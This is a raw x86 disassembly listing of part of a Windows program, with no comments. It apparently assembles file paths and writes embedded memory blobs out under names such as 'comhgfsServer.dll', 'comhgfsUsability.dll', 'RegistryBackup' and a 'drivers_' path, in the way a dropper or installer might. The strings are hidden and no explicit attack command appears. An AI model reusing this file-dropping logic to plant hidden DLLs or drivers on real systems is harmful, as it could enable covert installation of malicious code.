push eax
mov edx, str.81820
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xb8]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x33
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x10]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 1
call fcn.00406bbe
mov edx, 0x41916c
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
call fcn.004069b2
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
lea eax, [0x96eb00]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, 0x41917c
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb00]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x1a
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x14]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.81964
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x40]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x12
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x18]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb00]
push dword [esp + 0x38]
call fcn.00401bc5
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [0x96eb20]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.82020
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb20]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x46
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x1c]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.82132
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x4c]
call fcn.004149d0
call fcn.00409082
add dword [esp], edx
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x1a
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x20]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 2
call fcn.00406bbe
lea eax, [esp + 0xb0]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.82192
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xc4]
call fcn.004149d0
call fcn.00409082
add dword [esp], edx
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x1a
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x24]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
call fcn.0040124a
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [esp + 0xb4]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push 0x3e8
push 0x270e
call fcn.00409c30
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xb8]
push eax
call fcn.00415ee0
mov edx, dword [esp + 0xb0]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x419192
push edx
call fcn.00415e80
mov edx, dword [esp + 0xb8]
push edx
call fcn.00415e80
lea eax, [esp + 0xbc]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.81904
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xc8]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x1a
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x28]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.82256
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xc8]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x2a
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x2c]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.50640
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0xc4]
push 0xf
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x30]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.50656
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0xc4]
push 0xf
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x34]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.51092
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0xbc]
push 0xa
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x38]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.51080
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0xc0]
push 8
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x3c]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.61049
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
mov edx, dword [esp + 0xc0]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0xc4]
push edx
call fcn.00415e80
call fcn.00416040
push 8
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x40]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.63349
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
mov edx, dword [esp + 0xc0]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0xc4]
push edx
call fcn.00415e80
call fcn.00416040
push 8
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x44]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.48676
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x58]
push 6
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x48]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 1
mov ebp, 0x73e348
push ebp
mov ebp, 0x7258e0
push ebp
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x48]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x403d13
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x3c]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x403d08
jl 0x403d04
cmp ebx, 0
ja 0x403d08
xor eax, eax
jmp 0x403d0d
mov eax, 1
or eax, eax
jne 0x403d13
jmp 0x403d1a
mov eax, 1
jmp 0x403d1c
xor eax, eax
and eax, eax
je 0x404ded
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a736
push edx
call fcn.00415e80
call fcn.00416040
push 1
call fcn.00409082
add dword [esp + 4], edx
call fcn.0040ea70
call fcn.004090a0
and eax, eax
je 0x404ded
push dword [esp + 0x34]
push 1
call fcn.0040edb0
push dword [esp + 0x3c]
push 1
call fcn.0040edb0
push dword [esp + 0x64]
push 1
call fcn.0040edb0
push dword [esp + 0x44]
push 1
call fcn.0040edb0
push dword [esp + 0x68]
push 1
call fcn.0040edb0
push dword [esp + 0x6c]
push 1
call fcn.0040edb0
push dword [esp + 0x48]
push 1
call fcn.0040edb0
push dword [esp + 0x58]
push 1
call fcn.0040edb0
push 1
call fcn.0040e790
push 0x96eb24
push 3
call fcn.0040fa3c
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.11568
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.12276
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 4]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.11024
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x58]
push 6
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 8]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 1
mov ebp, 0x760eb0
push ebp
mov ebp, 0x757648
push ebp
mov edx, dword [esp + 0x3c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.comhgfsServer.dll
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x403fda
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.comhgfsServer.dll
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x403fcf
jl 0x403fcb
cmp ebx, 0
ja 0x403fcf
xor eax, eax
jmp 0x403fd4
mov eax, 1
or eax, eax
jne 0x403fda
jmp 0x403fe1
mov eax, 1
jmp 0x403fe3
xor eax, eax
and eax, eax
je 0x404ded
push edx
call fcn.00415e40
pop edx
push eax
push 8
call fcn.00406611
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [esp + 0xc0]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 8
call fcn.00406611
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
lea eax, [esp + 0xc4]
push eax
call fcn.00415ee0
push 0x96eb24
push 5
call fcn.0040fa3c
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.19108
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x64]
push 6
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.21427
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
mov edx, dword [esp + 0x74]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0x7c]
push edx
call fcn.00415e80
call fcn.00416040
push 0x1a
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 4]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.22804
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x58]
push 6
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 8]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.20130
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x54]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0xd0]
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0xd4]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x6c
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0xc]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.20802
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x54]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0xd0]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x52
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x10]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 1
mov ebp, 0x76e7b0
push ebp
mov ebp, 0x760eb0
push ebp
mov edx, dword [esp + 0x3c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.comhgfsUsability.dll
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x40437a
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.comhgfsUsability.dll
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x40436f
jl 0x40436b
cmp ebx, 0
ja 0x40436f
xor eax, eax
jmp 0x404374
mov eax, 1
or eax, eax
jne 0x40437a
jmp 0x404381
mov eax, 1
jmp 0x404383
xor eax, eax
and eax, eax
je 0x404ded
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x79eab0
push ebp
mov ebp, 0x76e7b0
push ebp
mov edx, dword [esp + 0x3c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a8b4
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x404430
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a8b4
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404425
jl 0x404421
cmp ebx, 0
ja 0x404425
xor eax, eax
jmp 0x40442a
mov eax, 1
or eax, eax
jne 0x404430
jmp 0x404437
mov eax, 1
jmp 0x404439
xor eax, eax
and eax, eax
je 0x404ded
push 0x96eb24
push 1
call fcn.0040fa3c
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.197538
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x54]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.RegistryBackup
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0x52
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 1
mov ebp, 0x802918
push ebp
mov ebp, 0x79eab0
push ebp
mov edx, dword [esp + 0x3c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x60]
push edx
call fcn.00415e80
mov edx, 0x4199cc
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x4045a2
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x54]
push edx
call fcn.00415e80
mov edx, 0x4199cc
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404597
jl 0x404593
cmp ebx, 0
ja 0x404597
xor eax, eax
jmp 0x40459c
mov eax, 1
or eax, eax
jne 0x4045a2
jmp 0x4045a9
mov eax, 1
jmp 0x4045ab
xor eax, eax
and eax, eax
je 0x404ded
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x860980
push ebp
mov ebp, 0x802918
push ebp
mov edx, dword [esp + 0x3c]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x60]
push edx
call fcn.00415e80
mov edx, 0x419884
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x40466c
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x30]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x54]
push edx
call fcn.00415e80
mov edx, 0x419884
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404661
jl 0x40465d
cmp ebx, 0
ja 0x404661
xor eax, eax
jmp 0x404666
mov eax, 1
or eax, eax
jne 0x40466c
jmp 0x404673
mov eax, 1
jmp 0x404675
xor eax, eax
and eax, eax
je 0x404ded
push 0x96eb24
push 9
call fcn.0040fa3c
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.46237
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x64]
push 6
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.52768
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x64]
push 6
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 4]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, 0x4191ac
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push dword [esp + 0x64]
push 6
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 8]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.34562
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0xc]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.39716
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x10]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.39988
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x14]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.42768
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x18]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.58908
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x1c]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.59072
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb18]
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0x68]
call fcn.00401681
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
call fcn.00416040
push 0xc
call fcn.00409082
add dword [esp + 4], edx
call fcn.00401476
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
pop eax
mov ebp, dword [0x96eb24]
lea eax, [ebp + 0x20]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 1
mov ebp, 0x8756e0
push ebp
mov ebp, 0x860980
push ebp
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x50]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x404ae9
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x44]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404ade
jl 0x404ada
cmp ebx, 0
ja 0x404ade
xor eax, eax
jmp 0x404ae3
mov eax, 1
or eax, eax
jne 0x404ae9
jmp 0x404af0
mov eax, 1
jmp 0x404af2
xor eax, eax
and eax, eax
je 0x404ded
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x9557b8
push ebp
mov ebp, 0x929458
push ebp
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.drivers_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x78]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x404bb3
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
